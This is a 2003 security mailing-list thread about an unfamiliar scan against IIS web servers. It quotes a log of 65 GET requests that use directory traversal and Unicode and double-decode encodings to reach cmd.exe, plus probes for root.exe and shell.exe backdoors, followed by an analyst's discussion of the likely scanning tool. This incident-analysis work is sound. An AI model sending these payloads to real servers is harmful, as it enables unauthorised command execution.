Security Incidents mailing list archives

Re: New attack or old Vulnerability Scanner?

From: Jason Falciola <falciola () us ibm com>
Date: Sat, 26 Apr 2003 07:56:17 -0400
Mark,

Can you post (or provide a link) to the full tcpdump traces for this scan 
pattern?  It might aid in the analysis.

I haven't done a one-for-one comparison to verify the exact order and 
specific requests issued, but I can say that we see some combination of 
all of those GET requests on a continuous basis as we monitor our 
customer's networks.  Roughly that quantity and order of requests is very 
common.  In reality, the exact requests are not too important as IIS scan 
tools are widely available [1] and are regularly modified (the original 
posting of iis-kabom included 69 GET requests).  We consistently see a 
wide variety of patterns, from those that focus on a single GET request 
against each host, to those that try virtually every conceivable method to 
exploit the same old vulnerabilities (directory traversal, Unicode, double 
decode, etc.). 

Most of the IIS scans lately have been preceded by a broad ping sweep to 
enumerate what machines are up in a given IP range.  The scan then targets 
only those hosts that have responded to the ping sweep.  I also don't 
recall seeing a request for shell.exe lately (or perhaps ever).

When you say TCP connect, I assume you mean that you saw a simple 
connection to see if the port is listening (as accomplished with '$ nmap 
-sT ...').  Or did you also see a HEAD or GET request to determine if this 
was an IIS server?

Regarding the User Agent.  People have been seeing that string since at 
least 2001, and one person saw a single GET request similar to one you 
included. [2]  It appeared to be a spider that was crawling people's site 
w/o respecting robots.txt.  A single HEAD request was followed by a large 
number of GETS.  Some postulated it was coming from China and the logs 
I've seen support that. [3]

It appears that seeing this User Agent string indicates the activity of a 
well-known spam bot.  Apparently, the Indy Library "is hi-jacked and abused by some Chinese spam bots. All recent 
user-agents 
with the unmodified "Indy Library" string were of Chinese origin." [4]

So perhaps this is a (new?) IIS scan tool written in C/C++ to increase its 
speed, include multi-threading, etc.  Or maybe the spammers aren't 
securing their boxes and are thus being compromised and used as launching 
points for further attacks.  Someone saw (from a cable ISP) the identical 
pattern in terms of order and actual GET requests that you did with the 
same UA string on 4/21/03, even including the request for shell.exe.[5] 
They didn't mention a TCP Connect, but that's probably b/c they're only 
looking at webserver logs.  The fact that it's missing probably answers my 
above question about an initial HEAD or GET request to determine the 
server version, assuming this is really the same thing.

There are also more links discussing this UA string. [6] [7]

[1] http://cert.uni-stuttgart.de/archive/bugtraq/2001/07/msg00537.html 
[2] http://www.webmasterworld.com/forum11/803.htm
[3] http://www.webmasterworld.com/forum11/535.htm
[4] http://www.kloth.net/internet/bottrap
[5] http://www.webmasterworld.com/forum11/1864.htm
[6] http://www.webmasterworld.com/forum11/1218.htm
[7] http://www.webmasterworld.com/forum13/687.htm

Jason Falciola
Information Security Analyst
IBM Managed Security Services
falciola () us ibm com





Mark Embrich <mark_embrich () yahoo com>
04/24/2003 07:43 PM

 
        To:     incidents () securityfocus com
        cc: 
        Subject:        New attack or old Vulnerability Scanner?





Hello,

Does anyone recognize this pattern of a TCP connect scan, then 65 GETs?
Note that it also included:  "User-Agent:.Mozilla/3.0.
(compatible;.Indy.Library)...."
For which my googling tells me that this attack/scanner is probably 
built using Borland Delphi/C++ Builder suite.

I've so far received 3 of these from 2 different IP addresses.
The first two were from a Comcast cable user.
The last was from a Cox Communications IP.

Thanks,
Mark Embrich

0.               Scan TCP 80
1. GET./..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
2. GET./..%c0%af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
3.               GET./_vti_bin/.%252e/.%252e/.%252e/.%
252e/winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
4.               GET./_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%
63../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
5.               GET./_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%
35c../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
6. GET./_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%
63../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
7.               GET./_vti_bin/..%255c..%255c..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
8.               GET./_vti_bin/..%255c..%255c..%255c..%255c..%
255c../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
9.               GET./_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
10.              GET./_vti_bin/..%c0%af../..%c0%af../..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
11.              GET./_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
12.              GET./_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
13.              GET./adsamples/..%255c..%255c..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
14.              GET./adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
15.              GET./cgi-bin/..%255c..%255c..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
16.              GET./cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
17.              GET./iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%
252fwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
18.              GET./iisadmpwd/..%255c..%255c..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
19.              GET./iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
20.              GET./iisadmpwd/..%c0%af../..%c0%af../..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
21.              GET./msadc/.%252e/.%252e/.%252e/.%
252e/winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
22.              GET./MSADC/..%%35%63..%%35%63..%%35%63..%%35%
63winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
23.              GET./msadc/..%%35%63../..%%35%63../..%%35%
63../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
24.              GET./MSADC/..%%35c..%%35c..%%35c..%%
35cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
25.              GET./msadc/..%%35c../..%%35c../..%%
35c../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
26.              GET./msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%
63winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
27.              GET./msadc/..%25%35%63../..%25%35%63../..%25%35%
63../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
28.              GET./msadc/..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
29.              GET./msadc/..%255c../..%255c../..%
255c../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
30.              GET./msadc/..%c0%af../..%c0%af../..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
31.              GET./msadc/..%c0%af../..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
32.              GET./msadc/../%e0/%80/%af../../%e0/%80/%af../../%e0/%80/%
af../winnt/system32/cmd.exe/?/c/+dir+c:.HTTP/1.1..
33.              GET./msdac/root.exe?/c+dir+c:.HTTP/1.1..
34.              GET./msdac/shell.exe?/c+dir+c:.HTTP/1.1..
35.              GET./PBServer/..%%35%63..%%35%63..%%35%
63winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
36.              GET./PBServer/..%%35c..%%35c..%%
35cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
37.              GET./PBServer/..%25%35%63..%25%35%63..%25%35%
63winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
38.              GET./PBServer/..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
39.              GET./Rpc/..%%35%63..%%35%63..%%35%
63winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
40.              GET./Rpc/..%%35c..%%35c..%%
35cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
41.              GET./Rpc/..%25%35%63..%25%35%63..%25%35%
63winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
42.              GET./Rpc/..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
43.              GET./samples/..%255c..%255c..%255c..%255c..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
44.              GET./samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
45. GET./scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
46.              GET./scripts/.%252e/.%
252e/winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
47.              GET./scripts/..%252f..%252f..%252f..%
252fwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
48.              GET./scripts/..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
49. GET./scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
50.              GET./scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%
AFwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
51. GET./scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
52. GET./scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
53.              GET./scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%
1Cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
54. GET./scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
55. GET./scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
56.              GET./scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%
9Cwinnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
57. GET./scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
58. GET./scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
59. GET./scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
60.              GET./scripts/..%e0%80%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
61.              GET./scripts/..%f0%80%80%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
62.              GET./scripts/..%f8%80%80%80%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
63.              GET./scripts/..%fc%80%80%80%80%
af../winnt/system32/cmd.exe?/c+dir+c:.HTTP/1.1..
64.              GET./scripts/root.exe?/c+dir+c:.HTTP/1.1..
65.              GET./scripts/shell.exe?/c+dir+c:.HTTP/1.1..




----------------------------------------------------------------------------
Attend Black Hat Briefings & Training Europe, May 12-15 in Amsterdam, the 
world's premier event for IT and network security experts.  The two-day 
Training features 6 hand-on courses on May 12-13 taught by professionals.  
The two-day Briefings on May 14-15 features 24 top speakers with no vendor 
sales pitches.  Deadline for the best rates is April 25.  Register today to 
ensure your place. http://www.securityfocus.com/BlackHat-incidents 
----------------------------------------------------------------------------
Current thread:

New attack or old Vulnerability Scanner? Mark Embrich (Apr 25)
- RE: New attack or old Vulnerability Scanner? Keith (Apr 28)
- <Possible follow-ups>
- RE: New attack or old Vulnerability Scanner? James C. Slora, Jr. (Apr 28)
- Re: New attack or old Vulnerability Scanner? Jason Falciola (Apr 28)
- Re: New attack or old Vulnerability Scanner? rhandwerker (Apr 28)
- Re: New attack or old Vulnerability Scanner? jac (Apr 29)
- Re: New attack or old Vulnerability Scanner? Mark Embrich (Apr 29)
- Re: New attack or old Vulnerability Scanner? Jason Falciola (Apr 30)
- Re: New attack or old Vulnerability Scanner? Jason Falciola (Apr 30)